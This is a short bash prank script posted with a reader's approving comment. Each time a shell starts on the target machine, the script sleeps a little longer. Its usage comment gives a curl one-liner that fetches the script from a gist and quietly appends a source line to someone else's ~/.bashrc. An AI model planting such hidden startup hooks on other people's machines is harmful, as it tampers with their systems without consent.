bash sleep prank

sleepy-bash.sh

#!/usr/bin/env bash

# sleepy-bash
# kevin hughes
# kevinhughes27@gmail.com
# 2015

# on each run this script reads a var increments
# it then sleeps for that long.

# Based on a prank someone told me about once.
# I take no credit for the idea only this implementation.

# usage:
# simply source in someones .bashrc
# eg.
# on the target machine:
#   curl -o .sleepy-bash.sh https://gist.github.com/kevinhughes27/52aeef2b6c971846349f && echo 'source ~/.sleepy-bash.sh' >> ~/.bashrc

file="$HOME/.gotcha.txt"

start_val='0.25'
inc_val='0.25'

# if file exists read value and increment
# else create file and set value
if [[ -f $file ]]; then
  value=`cat $file`
  value=$(bc<<<"$value + $inc_val")
else
  value=$start_val
fi

# save value into file
#echo $value
echo $value > $file

sleep $value

Amazing. Will definitely use!